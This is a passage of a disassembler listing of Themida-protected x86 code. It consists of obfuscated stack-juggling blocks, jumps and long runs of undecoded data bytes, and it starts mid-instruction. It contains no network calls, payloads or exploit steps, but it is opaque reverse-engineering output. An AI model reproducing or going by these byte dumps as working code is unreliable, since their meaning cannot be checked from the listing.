esi push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp or edx, eax jmp loc_53A191 ; --------------------------------------------------------------------------- db 9, 0E8h, 0E9h dd 0FFFF9407h, 4C481h, 15E90000h, 1FFFFDDh, 0C82958C1h dd 68240C8Bh, 1547h, 0E9240C89h, 0FFFF9494h, 8904EC83h dd 0EC83241Ch, 24248904h, 4240481h, 8B000000h, 0E953241Ch dd 0FFFFB534h, 674E68h, 242C8900h, 7A093EBDh, 4E5C168h dd 1D6F581h, 814D0E59h, 85C169F5h, 5DEF0195h, 4CD8E781h dd 0EF83752Bh, 5DBA52FFh, 835F782Dh, 0C8904ECh, 5068B924h dd 0E98171BBh, 61AE1B44h, 0E9814949h, 0C0E7D629h, 8159CA31h dd 5D73A3EAh, 0E54BE910h, 0B850FFFFh, 48CB0E08h, 0E907E8C1h dd 0FFFF9910h, 0D9EAE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541D0E: ; CODE XREF: Themida_:00539EF0j or esi, 6EC71C27h and esi, 6F1755E4h xor esi, 1B60136Ch xor esi, 7477474Ch add edi, esi pop esi sub esp, 4 mov [esp], ebp jmp loc_53DF88 ; --------------------------------------------------------------------------- dd 0C0B8B252h, 0D2F608EAh, 0C005E2C0h, 0C28006EAh, 0E9D1886Ch dd 0FFFF9B62h, 74FF565Ah, 0E95E0424h, 0FFFF712Dh, 8103EEC1h dd 0C7755BC6h, 0EEC14637h, 16EE8108h, 8100462Ch, 0AD1FD6EBh dd 0E9F3017Ch, 0FFFFD856h, 4BF57h, 0F4E90000h, 57FFFF92h dd 0FFFBA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_541D89: ; CODE XREF: Themida_:0053D156j pop edx push ecx mov ecx, esp jmp loc_53A909 ; --------------------------------------------------------------------------- dw 335Bh dd 0ECE9240Ch db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541D9B: ; CODE XREF: Themida_:00540E2Bj mov ebp, 31C258ECh shl ebp, 5 jmp loc_53D791 ; --------------------------------------------------------------------------- dd 34FFBB53h, 0A5E9549Ch, 66FFFFC4h, 0E99CC83Bh, 0FFFF5006h dd 6824048Bh, 46D3h, 68240C89h, 7B91h, 50242489h, 4B8h dd 24440100h, 4CE95804h, 6600000Dh, 5624048Bh, 0C82E954h dd 248B0000h, 68C33124h, 6F14h, 0E9242C89h, 0FFFF7F99h dd 5124248Bh, 5E5437B9h, 59CE0978h, 0BF57DEF7h, 7497390Fh dd 4305EF81h, 0EF811A3Ch, 1AE8420Dh, 966DC781h, 0FE317A26h dd 5F2434FFh, 0FFC443E9h db 0FFh ; --------------------------------------------------------------------------- loc_541E2D: ; CODE XREF: Themida_:0053E917j pop edx sub esp, 4 mov [esp], ecx jmp loc_541C08 ; --------------------------------------------------------------------------- db 52h, 0E9h, 5Fh dd 83FFFFEFh, 0D3E904C4h, 81FFFFADh, 4C4h, 24048F00h, 2434FF5Ch dd 81240C8Bh, 4C4h, 0EC815200h, 4, 0E01E9h, 0BED8000h dd 0E959EB88h, 0FFFF5B2Fh ; --------------------------------------------------------------------------- loc_541E74: ; CODE XREF: Themida_:0053E431j sub [edi+20h], eax pop eax loc_541E78: ; CODE XREF: Themida_:00537CF4j ; Themida_:005425ADj push dword ptr [esp] push dword ptr [esp] pop ebx add esp, 4 push 7D38h mov [esp], eax push 535Dh push esp jmp loc_542C10 ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 28A0B724h, 2C5B66F8h, 2434FF59h, 9A9DE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_541EAA: ; CODE XREF: Themida_:00537D3Bj pop edi push edi not dword ptr [esp] pop edi xchg edi, [edx+38h] jmp loc_5384DD ; --------------------------------------------------------------------------- loc_541EB8: ; CODE XREF: Themida_:0053841Bj mov edx, 1 push 4FA0h mov [esp], edx mov eax, [esp] add esp, 4 push dword ptr [esp] jmp loc_539D0B ; --------------------------------------------------------------------------- db 66h dd 50240C8Bh, 24048B54h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push 50F3h mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 2BDB5C02h mov esi, 0D424A402h add esi, 21CD2A08h add esi, edx sub esi, 21CD2A08h jmp loc_539909 ; --------------------------------------------------------------------------- loc_541F1C: ; CODE XREF: Themida_:00537F33j sub esp, 4 mov [esp], edx push dword ptr [esp] pop eax add esp, 4 mov edx, [esp] push edx mov edx, esp jmp loc_53B08A ; --------------------------------------------------------------------------- db 5Fh dd 15EF289h, 24148BD6h, 8304C483h, 78E902EEh, 8100000Fh dd 4EFh, 243C8700h, 8924248Bh, 3EE9243Ch, 28FFFFF7h, 0D8285AD0h dd 0EC81C904h, 2, 0FF612FE9h db 0FFh ; --------------------------------------------------------------------------- loc_541F71: ; CODE XREF: Themida_:0053CCA0j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], ebx jmp loc_542666 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFCE04E9h, 24048BFFh, 0FF8A0FE9h, 0EE0158FFh, 8AEE815Dh dd 817D5874h, 0A8533DEEh, 81C60126h, 0A8533DC6h, 89A4E926h dd 1489FFFFh, 81E28924h, 4C2h, 4C28300h, 5C241487h, 5E08950h dd 4, 405h, 24048700h, 0FFFE11E9h, 240C89FFh, 47083BB9h dd 0E9CE2971h, 0FFFFCB51h, 0E95BFC00h, 0EB0h, 0E99CC83Bh dd 0FFFF4DCAh, 240C8B66h, 8904EC83h, 0E189240Ch, 4C181h dd 0B8500000h, 2, 0FFDE1DE9h, 0D4E95EFFh, 50FFFF65h, 0C909585Ah dd 0C88E9h db 0 ; --------------------------------------------------------------------------- loc_542025: ; CODE XREF: Themida_:005382DFj sub ebx, 0E4029EAh push ecx mov ecx, 5EE252Ah jmp loc_53D258 ; --------------------------------------------------------------------------- loc_542036: ; CODE XREF: Themida_:00539CC9j push edx pop dword ptr [edi+24h] push dword ptr [esp] mov edx, [esp] add esp, 4 add esp, 4 push ecx sub esp, 4 mov [esp], edx push 77BA565Fh jmp loc_539803 ; --------------------------------------------------------------------------- loc_54205D: ; CODE XREF: Themida_:0053F922j sub al, bl sub al, 69h jmp loc_53B0E2 ; --------------------------------------------------------------------------- loc_542066: ; CODE XREF: Themida_:0053F208j mov esi, 74E71105h shl esi, 2 xor esi, 9714A56h add esi, 3FBC0BADh mov ecx, esi pop esi xor ecx, edx jmp loc_53D4CF ; --------------------------------------------------------------------------- dd 8B241487h, 0F9E92424h, 0BFFFFFFBh, 4, 3C8BFA29h, 7D746824h dd 34890000h, 81E68924h, 4C6h, 0E9575500h, 0FFFF7431h dd 0C8C1ED81h, 0A6E992B9h, 81FFFFFBh, 4ECh, 243C8900h dd 5153E789h, 0AB35DFB9h, 0DEFFBB63h, 0EB8109F5h, 0CCD3219h dd 15E9CB01h, 89FFFFB0h, 49E92424h, 68FFFFDAh, 16C3h, 0BD242C89h dd 7D3135C7h, 12AAF581h, 0D5F72386h, 0FF5DC8E9h, 0B4BE56FFh dd 0E90E9061h, 0FFFFA8D0h, 9AF580h, 0D80059E8h, 0ECE90E2Ch dd 81FFFFA4h, 4ECh, 24348900h, 0FF736FE9h, 0E6815AFFh dd 74F531FCh, 0A74FEE81h, 0E5E9000Dh, 57FFFFABh, 0E0D0DCBFh dd 5FFA0108h, 815AD689h, 0A260CCEEh, 16EE8123h, 0C16A9E25h dd 814E06E6h, 0E1AB46C6h, 5EF0290Fh, 24348150h, 572F7837h dd 37F18159h, 8B572F78h, 0C4812404h, 4, 159C801h, 98BF57D8h dd 295F6634h, 93685FF8h, 0E9000049h, 0FFFF96C1h, 8704C183h dd 15C240Ch, 503181C1h, 593D616Fh, 52243C8Bh, 0C281E289h dd 4, 0FFA763E9h db 0FFh ; --------------------------------------------------------------------------- loc_5421B1: ; CODE XREF: Themida_:00542263j pop edx jmp loc_542F4B ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 2E56824h, 0A1E965BEh, 5BFFFFC7h, 0FF881EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5421CD: ; CODE XREF: Themida_:00538F16j mov esp, [esp] push edi push 200000h mov edi, [esp] jmp loc_53C5FC ; --------------------------------------------------------------------------- dw 0C33h dd 0F665C24h, 9C2404B3h, 8CEE9h db 0 ; --------------------------------------------------------------------------- loc_5421ED: ; CODE XREF: Themida_:00542D75j add edi, 7FFB7791h jmp loc_540AB6 ; --------------------------------------------------------------------------- dd 240C8B66h, 6A0C68h, 241C8900h, 9394E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54220A: ; CODE XREF: Themida_:00538072j mov [esp], ebx push dword ptr [esp] pop ebp add esp, 4 mov eax, ebp push dword ptr [esp] push dword ptr [esp] pop ebp push ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 add ecx, edx jmp loc_5399EB ; --------------------------------------------------------------------------- dw 0EF81h dd 70945CDh, 0FFE635E9h, 3C895CFFh, 0CC80E924h, 73E9FFFFh dd 0ADFFFF4Bh, 4EC81h, 14890000h, 86E95724h db 0CCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54225F: ; CODE XREF: Themida_:005388DCj mov edx, ecx mov ebp, edx jmp loc_5421B1 ; --------------------------------------------------------------------------- dd 8103EAC1h, 5B7637EAh, 5EAC15Ah, 0C281DAF7h, 532C553h dd 335AD729h, 3C31243Ch, 243C3324h, 0FFEEACE9h, 0FFD829FFh dd 835B2434h, 0DEE904C4h, 0E9FFFFE0h, 0FFFF4B22h, 74ACE381h dd 0C3815FD8h, 36F3FB0Fh, 15BDF01h, 0FF515FF9h, 59042474h dd 8B24048Fh, 0CD22424h, 0FBE99C24h db 4Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5422C7: ; CODE XREF: Themida_:0053EBA4j mov edx, 4 add esi, edx pop edx jmp loc_53ABB3 ; --------------------------------------------------------------------------- dd 0ED81C501h, 322F273Eh, 692E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5422E2: ; CODE XREF: Themida_:0053C9D7j push 6B9Ch mov [esp], edi mov edi, 7697646h sub eax, edi push dword ptr [esp] pop edi add esp, 4 or eax, eax jnz loc_53F21E push 357Fh mov [esp], edi mov edi, 10CD6E9Ah jmp loc_539436 ; --------------------------------------------------------------------------- db 28h, 0F8h, 2Ch dd 0B6B75354h, 1AE9D7F6h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542323: ; CODE XREF: Themida_:0054256Dj add ebp, 4 xchg ebp, [esp] pop esp add esp, 4 and eax, esi mov esi, [esp] add esp, 4 shr eax, 18h xor eax, ecx xor eax, ebx jmp loc_539354 ; --------------------------------------------------------------------------- db 89h dd 0E0892404h, 7DF068h, 24148900h, 0FF74B0E9h, 241489FFh dd 0AA68AF68h, 94055A68h, 2D48A42Fh, 40F0655Fh, 0B951D029h dd 59387EA9h, 0C106E1C1h, 0E98107E9h, 1B2537DEh, 5DE9C181h dd 0C8015B79h, 2F942D59h, 34FF48A4h, 0E2AFE924h, 77FFFFFFh dd 59669D1Ch, 9C241CD3h, 0FFAEAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5423A5: ; CODE XREF: Themida_:0053DA33j mov ebx, 4 add esi, ebx pop ebx sub esp, 4 mov [esp], ebp mov ebp, 21D27204h not ebp not ebp sub ebp, 21D27200h jmp loc_537F1C ; --------------------------------------------------------------------------- loc_5423C7: ; CODE XREF: Themida_:0053FF87j add ebx, eax jmp loc_53D6B0 ; --------------------------------------------------------------------------- dw 0EA81h dd 6678720Fh, 0FF8990E9h db 0FFh ; --------------------------------------------------------------------------- loc_5423D9: ; CODE XREF: Themida_:0053E09Cj add esp, 4 mov eax, [esp] add esp, 4 and ecx, ebx mov ebx, [esp] jmp loc_53859C ; --------------------------------------------------------------------------- dw 0EA81h dd 47F509DEh, 0C281F201h, 47F509DEh, 8124348Bh, 4C4h, 81C20100h dd 44231DEAh, 0CE1AE90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542416: ; CODE XREF: Themida_:00538E56j push edx push edi mov edi, 433B37BCh push esi mov esi, 3F833C85h push ebx mov ebx, 4D2724ABh or ebx, 3AC73814h or ebx, 72E02F69h and ebx, 550A4E3Dh not ebx xchg edx, ebx neg edx xchg edx, ebx jmp loc_53A4DC ; --------------------------------------------------------------------------- dd 70425DBBh, 3EBC16Dh, 8103E3C1h, 3E7B8AF3h, 0B7BA5226h dd 95BEA74h, 0EB815AD3h, 5EC66E51h, 0FC7DEB81h, 0DD29A103h dd 0FF6F6AE9h, 5DE831FFh, 0B60DD0F7h, 5571A61Dh, 34552768h dd 564D5D1Ah, 7B4C5FBEh, 0FECE812Dh, 0F74B882Dh, 0EEC14ED6h dd 7204E905h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54249E: ; CODE XREF: Themida_:00538A50j sub esp, 4 mov [esp], ebx push ebp mov ebp, 49FD5D26h push esi mov esi, ebp mov ebx, esi jmp loc_53AC41 ; --------------------------------------------------------------------------- db 8Bh dd 0EC832404h, 240C8904h, 0BE56E189h, 4, 7E37C181h, 0F1013BF5h dd 7E37E981h, 555E3BF5h, 4BB53h, 0DD890000h, 8AE9815Bh dd 0E90E9F6Eh, 0FFFF87CBh, 81E78957h, 4C7h, 4C78100h, 87000000h dd 248B243Ch, 0E184E924h, 0E7C1FFFFh, 3E7C102h, 0FF500CE9h dd 4C483FFh, 4244C31h, 0FF89C9E9h, 6856FDFFh, 10057FFEh dd 0D4E4E95Eh, 0C581FFFFh, 1992109Ah, 4D82C581h, 0EB01EAB7h dd 0FFE7AAE9h, 0A2BE56FFh, 31C4C0EEh, 0B8505EF5h, 73F65C7Ch dd 938222Dh, 5340357Dh, 0C601A3A2h, 81EE0158h, 4F771AEEh dd 0F9E95D55h db 7Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542567: ; CODE XREF: Themida_:00537AA0j add ebp, 4 jmp loc_542323 ; --------------------------------------------------------------------------- dw 0EE81h dd 21A1649Bh, 2434335Dh, 33243431h, 8CE92434h, 8BFFFF53h dd 8B662424h, 89572404h, 4C781E7h, 55000000h, 0E9525051h dd 0FFFFD45Dh, 24048966h, 0FF87D2E9h db 0FFh ; --------------------------------------------------------------------------- loc_5425A9: ; CODE XREF: Themida_:005409CDj shr edx, 1 cmp eax, edx jz loc_541E78 push eax jmp loc_53C84B ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0EF800000h, 762DE9FFh, 8950FFFFh, 405E0h, 4050000h dd 50000000h, 42474FFh, 0FF8A65E9h, 24048FFFh, 7B4505Ch dd 52E9DCF6h, 56FFFF78h, 0FB3C48BEh, 0D6F7460Ah, 5B2AC681h dd 0D6F74AFEh, 36E3C681h, 0F201BFBCh, 9B2AE95Eh, 0C481FFFFh dd 4, 5C8BE95Eh, 248BFFFFh, 0AF3EE924h, 0EC81FFFFh, 4 dd 53241489h, 0E7C07CB7h, 0FFC78007h, 8058EF80h, 0FE886EF7h dd 83241C8Bh, 0CEFE04C4h, 0F621EE80h, 6B551DEh, 0F602E5C0h dd 0F2C580DDh, 8859EE30h, 24148BF5h, 404C483h, 8B8E96Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_542666: ; CODE XREF: Themida_:00541F80j push 4 jmp loc_541869 ; --------------------------------------------------------------------------- dd 7D6D68h, 48F5400h, 0B9515324h, 2E416CD5h, 68h, 24048100h dd 65D223D4h, 0FFC905E9h, 9AF580FFh, 0FF5E37E9h db 0FFh ; --------------------------------------------------------------------------- loc_542699: ; CODE XREF: Themida_:00542D8Ej mov edx, ebp pop ebp mov edi, 78B02A03h xor edi, edx pop edx dec edi sub edi, 0FA922C3Dh sub ebx, 530F470Fh add ebx, edi add ebx, 530F470Fh jmp loc_53DE67 ; --------------------------------------------------------------------------- dw 77FFh dd 46FCE940h, 0C681FFFFh, 70F2583h, 0EE81CE29h, 70F2583h dd 81240C8Bh, 4C4h, 0D8D1E900h, 8B66FFFFh, 0EC812404h dd 4, 0FF8F38E9h, 58C201FFh, 94F2E952h, 9ABDFFFFh, 502F0E12h dd 3506CCB8h, 24BE5649h, 1715D64h, 53405EF0h, 72F63BBBh dd 5BD801C0h, 0E958C521h, 0FFFFBD6Dh ; --------------------------------------------------------------------------- loc_542720: ; CODE XREF: Themida_:0053FBCCj mov ecx, 280B0EF2h push ecx jmp loc_53A293 ; --------------------------------------------------------------------------- db 83h dd 7AE904C4h, 68FFFFB3h, 16500355h, 0B811E959h, 1489FFFFh dd 5C37E924h, 3C87FFFFh, 73E95C24h, 81FFFF46h, 4E4F3DC6h dd 8BF7317Ch, 60E92434h, 5DFFFFC2h, 0DCFF581h, 0C5812B85h dd 42A3128Dh, 4AB0F581h, 0C5817158h, 88629178h, 2EE9EA89h dd 50FFFFC1h, 4B8h, 29C58100h, 15C2413h, 7BE3E9C5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542792: ; CODE XREF: Themida_:0053AFBDj sub ebx, 299800E7h xor ebx, 3EF5F09Dh add eax, ebx mov ebx, [esp] add esp, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp push 6913h mov [esp], ebp push 4A3Fh mov [esp], edx push ecx mov ecx, 1 jmp loc_540117 ; --------------------------------------------------------------------------- loc_5427CE: ; CODE XREF: Themida_:0053F44Fj pop ebx jmp loc_53FB0B ; --------------------------------------------------------------------------- loc_5427D4: ; CODE XREF: Themida_:0054060Fj pop eax jmp loc_53F9AB ; --------------------------------------------------------------------------- dw 0C281h dd 546E387Fh, 73ECF281h, 0E281057Dh, 4B0D6135h, 6111EA81h dd 0D3010A04h, 4C3835Ah, 5C241C87h, 4C181h, 0C1830000h dd 6F12E904h, 0DBBDFFFFh, 0E931137Dh, 0FFFFB723h, 78E9BE56h dd 65E979FEh, 58FFFFAFh, 0FF5543E9h, 243C89FFh, 0A8BFE950h dd 0EF81FFFFh, 0F3986D7Eh, 0BE9FD01h, 29FFFF46h, 0F8E7E9D6h dd 0F501FFFFh, 0FF8D2AE9h, 240C89FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp jmp loc_53B708 ; --------------------------------------------------------------------------- loc_542867: ; CODE XREF: Themida_:0053D77Fj mov eax, ebx pop ebx inc eax add eax, 0FB966568h sub ebx, eax mov eax, [esp] add esp, 4 push ebx mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_53CF79 ; --------------------------------------------------------------------------- dw 515Fh dd 0FFAA2BE9h, 0EC815AFFh, 2, 241C8966h, 1BF968h, 24048900h dd 4EC81h, 1C890000h, 0E9A7B724h, 0FFFFCF2Ch, 707565BEh dd 93BF577Ah, 2909433Ch, 93CCE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5428CA: ; CODE XREF: Themida_:00537C68j xchg edi, [esp] pop esp jmp loc_5429D1 ; --------------------------------------------------------------------------- db 53h dd 0B652A6B3h, 5AF300FFh, 0FF5E9EE9h, 2DC829FFh, 54AB2E2Fh dd 0C36EE955h, 0C383FFFFh, 241C3304h, 0FF9E24E9h, 0C3E95CFFh dd 59FFFF44h, 0FF9628E9h, 66CA81FFh, 687D940Eh, 23EEh dd 0E9243489h, 0FFFFFFA0h, 9D1C77FFh, 14D25966h, 9BE99C24h dd 4BFFFF44h, 5FB968h, 0B981E900h, 0C89FFFFh, 0B5AB924h dd 0ED81272Bh, 527141AAh, 489DC581h, 0CD290C47h, 489DED81h dd 0C5810C47h, 527141AAh, 81240C8Bh, 4C4h, 8BE83100h, 0E956242Ch dd 0FFFFCC13h, 5A2434FFh, 0E9E18951h, 0FFFFB42Dh, 0E9242C87h dd 0FFFFA548h, 8104C483h, 4C3h, 4C38300h, 8904EC83h, 62E9241Ch db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542993: ; CODE XREF: Themida_:0053B2FBj mov [esp], ecx push esp jmp loc_541838 ; --------------------------------------------------------------------------- dd 2B850h, 4AE90000h, 81FFFFFDh, 4C5h, 95E95700h, 81FFFF66h dd 0B5D63EF2h, 0EB8FE9F3h, 0E289FFFFh, 4C281h, 0C2830000h dd 24148704h, 0FFF42BE9h db 0FFh ; --------------------------------------------------------------------------- loc_5429D1: ; CODE XREF: Themida_:005428CEj sub ebx, edx pop edx mov eax, [ebx] pop ebx jmp loc_542E79 ; --------------------------------------------------------------------------- dd 0F9308FB1h, 0DDF1805Bh, 0FFFEEAE9h, 5EF701FFh, 31243C33h dd 3C33243Ch, 24248B24h, 24048B66h, 4EC81h, 3C890000h dd 3C8B5424h, 0E1895124h, 4C181h, 0C1830000h, 240C8704h dd 60DC685Ch, 70E90000h, 0FFFF6Eh, 0C1805BD9h, 9EB2E938h dd 8358FFFFh, 0D7F704C4h, 6B3CF781h, 39E96670h, 57FFFFAAh dd 0FF6416E9h, 2434FFFFh, 8324348Bh, 0B0E904C4h, 66FFFF9Ch dd 8324048Bh, 348904ECh, 815E5424h, 4C6h, 0E9575000h, 0FFFFA567h dd 4C6815Eh, 0E9000000h, 0FFFFA0ECh, 0E904C483h, 0FFFF5834h dd 0E9240C87h, 0FFFF87D1h ; --------------------------------------------------------------------------- loc_542A88: ; CODE XREF: Themida_:0053AC36j mov esi, ebx pop ebx add edx, esi pop esi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] jmp loc_5394AB ; --------------------------------------------------------------------------- db 31h dd 1C33241Ch, 24248B24h, 0FFD0E9E9h, 4EF81FFh, 87000000h dd 1CE9243Ch, 0E9FFFF73h, 0FFFF4302h, 66E7E950h, 3433FFFFh dd 4A2CE924h, 1489FFFFh, 0A8B35324h, 0E9A3EB80h, 0FFFF80F6h dd 42474FFh, 24048F5Ah, 2404085Ch, 42D4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542AEE: ; CODE XREF: Themida_:00540AB1j mov [esp], ebx mov ebx, 376900A6h shr ebx, 7 xor ebx, 6ED205h add esi, ebx jmp loc_5405B5 ; --------------------------------------------------------------------------- loc_542B06: ; CODE XREF: Themida_:00541576j mov eax, 2A9A1B25h sub esi, eax jmp loc_53DD54 ; --------------------------------------------------------------------------- dw 0E957h dd 0FFFFAF20h, 72468h, 24148900h, 4359BE56h, 0B7E942CDh dd 8BFFFFD4h, 22E9240Ch db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542B33: ; CODE XREF: Themida_:00540D19j mov ebp, 2CA76794h xor edi, ebp pop ebp jmp loc_53C41B ; --------------------------------------------------------------------------- dd 97E91AB3h, 4DFFFFD5h, 5DC5814Dh, 81646447h, 91E77E5h dd 8EC58171h, 8902A931h, 5075E9EBh, 0E95CFFFFh, 0FFFFCEF7h ; --------------------------------------------------------------------------- loc_542B68: ; CODE XREF: Themida_:0053AD4Cj push 1A64h mov [esp], edi push esi mov esi, 47038CCh jmp loc_539553 ; --------------------------------------------------------------------------- loc_542B7B: ; CODE XREF: Themida_:0053F22Bj push edi mov edi, esp add edi, 4 push ecx push ebx mov ebx, 1BD33C58h mov ecx, 1BD33C5Ch jmp loc_53B5BC ; --------------------------------------------------------------------------- db 0ADh, 0E9h, 0FBh dd 81FFFF74h, 59706AC2h, 8AF2810Dh, 424B401Fh, 5907C281h dd 0E2E98152h, 68FFFF56h, 1F1Bh, 0B7241C89h, 0E9C7FE70h dd 0FFFFAA62h, 405h, 40500h, 0FF500000h, 0E9042474h, 0FFFF8B1Eh ; --------------------------------------------------------------------------- loc_542BD8: ; CODE XREF: Themida_:00540FC8j xor esi, [esp] jmp loc_53F726 ; --------------------------------------------------------------------------- dd 4EC81h, 14890000h, 0E972B624h, 0FFFFC3E5h ; --------------------------------------------------------------------------- loc_542BF0: ; CODE XREF: Themida_:00539C1Aj and ebp, 78875EBBh jmp loc_53D9AD ; --------------------------------------------------------------------------- loc_542BFB: ; CODE XREF: Themida_:0053D505j or ebp, 2AFD71A9h add ebp, 7EA52416h sub ecx, ebp pop ebp inc ecx jmp loc_540A86 ; --------------------------------------------------------------------------- loc_542C10: ; CODE XREF: Themida_:00541E90j pop dword ptr [esp] add dword ptr [esp], 4 pop eax jmp loc_538431 ; --------------------------------------------------------------------------- loc_542C1D: ; CODE XREF: Themida_:005411C1j push 421Fh mov [esp], edx mov edx, 400h and eax, edx push dword ptr [esp] jmp loc_538600 ; --------------------------------------------------------------------------- loc_542C34: ; CODE XREF: Themida_:0053F6ABj pop ebx add ebp, edx pop edx add ebp, 4 xchg ebp, [esp] pop esp push esi jmp loc_53F763 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Eh, 0FF443FE9h, 4C381FFh, 81000000h dd 4ECh, 24348900h, 0E9F4E952h, 2489FFFFh, 4BB5324h, 1000000h dd 5B04245Ch, 0FF6BCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_542C7D: ; CODE XREF: Themida_:005406E3j mov eax, [esp] add esp, 4 pop ebx sub esp, 4 mov [esp], ebp mov ebp, 1 jmp loc_53CC4F ; --------------------------------------------------------------------------- loc_542C97: ; CODE XREF: Themida_:0053EBBEj push eax mov eax, 4 jmp loc_5401A2 ; --------------------------------------------------------------------------- dw 6A04h dd 0C800572Ch, 0FFD6B4E9h, 0FE840FFFh, 83FFFFA1h, 6F6804ECh dd 8900000Bh, 4832424h, 48F0424h, 586A6824h, 34890000h dd 8FE95624h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542CD3: ; CODE XREF: Themida_:0053A9DEj add ebp, ecx pop ecx push eax jmp loc_53A1EA ; --------------------------------------------------------------------------- dd 0CF150ABEh, 386D685Eh, 77E90000h, 81FFFFAAh, 8132C5E5h dd 4EC8172h, 0E9000000h, 0FFFF5A97h, 0B753D6B2h, 0BFE95069h dd 1FFFF7Fh, 70EB81D3h, 0E908B935h, 0FFFF6F79h, 0D36FE956h dd 86BAFFFFh, 294D1977h, 0EB815AD3h, 1A7B00D0h, 1C8BDE89h dd 4C48124h, 81000000h, 0CD73DBC6h, 69B705EFh, 0F0016E39h dd 0FFA151E9h, 243487FFh, 2424895Ch, 4240483h, 4BA525Fh dd 0E9000000h, 0FFFFBA96h, 4C0835Bh, 0FF5FC0E9h, 5FFB01FFh dd 4EB81h, 0E9530000h, 0FFFFDEFAh ; --------------------------------------------------------------------------- loc_542D74: ; CODE XREF: Themida_:0053A30Bj dec edi jmp loc_5421ED ; --------------------------------------------------------------------------- loc_542D7A: ; CODE XREF: Themida_:0053A316j xor ebp, 113F27D8h shr ebp, 1 and ebp, 1BCB2F68h sub ebp, 0E557CCC7h jmp loc_542699 ; --------------------------------------------------------------------------- loc_542D93: ; CODE XREF: Themida_:0053D7DBj add esi, 43311274h dec esi add esi, 190F654Fh dec esi add esi, 54EE211Dh add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] jmp loc_5390F6 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 68000000h, 44A4h, 0E9241C89h, 0FFFFD3F6h ; --------------------------------------------------------------------------- loc_542DC8: ; CODE XREF: Themida_:0053A941j mov ecx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5396E0 ; --------------------------------------------------------------------------- loc_542DDC: ; CODE XREF: Themida_:005396DBj mov esi, 1 push 1945h jmp loc_53F8D3 ; --------------------------------------------------------------------------- db 52h dd 4745BD55h, 0EA895BDCh, 7E2C15Dh, 0C104EAC1h, 49E905EAh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_542E03: ; CODE XREF: Themida_:00541B45j xchg ebp, [esp] pop esp xchg edi, [esp] pop esp jmp loc_537C43 ; --------------------------------------------------------------------------- dd 0C281E289h, 4, 0FF6567E9h, 4C481FFh, 68000000h, 3969h dd 0FFD4E7E9h db 0FFh ; --------------------------------------------------------------------------- loc_542E2D: ; CODE XREF: Themida_:0053D66Fj and eax, ebx pop ebx shr eax, 0Ch jmp loc_53F8E4 ; --------------------------------------------------------------------------- dd 4C226857h, 475F6294h, 472FCF81h, 0F7811458h, 6C845BFCh dd 0FFDE3AE9h, 4BAFFh, 54010000h, 36E90424h, 5FFFFFB9h dd 0FFE620E9h, 4D366FFh, 3CE99C24h, 68FFFF5Ch, 57B2h, 0FF7FFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_542E79: ; CODE XREF: Themida_:005429D7j push dword ptr [edi+eax*4] jmp loc_53C208 ; --------------------------------------------------------------------------- loc_542E81: ; CODE XREF: Themida_:0053DFC6j pop edx push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_53E5E3 ; --------------------------------------------------------------------------- loc_542E99: ; CODE XREF: Themida_:0053E4BCj mov eax, esi jmp loc_53A946 ; --------------------------------------------------------------------------- dd 6607F480h, 6645E168h, 0B5240C89h, 66EC307Bh, 0B23AE959h dd 0F901FFFFh, 1BF2C181h, 1DE96E01h, 33FFFFD0h, 34312434h dd 24343324h, 6624248Bh, 0E9240489h, 0FFFF3EEAh ; --------------------------------------------------------------------------- loc_542ED8: ; CODE XREF: Themida_:0053A725j add edx, 4 add edx, 4 xchg edx, [esp] pop esp or eax, eax jmp loc_53A59F ; --------------------------------------------------------------------------- db 52h dd 0FFE4EEE9h, 0C8B66FFh, 0A018E924h, 7025FFFFh, 3553BF05h dd 50C5340Eh, 1035D0F7h, 2D1C9339h, 20194694h, 0D1B7A92Dh dd 0D85DE914h, 0E800FFFFh, 98A8E951h, 0C381FFFFh, 4, 0FF76E0E9h dd 76C181FFh, 1574E64h, 2434FFCFh, 0FF7926E9h, 0C8B66FFh dd 0CAE95124h db 96h, 2 dup(0FFh) 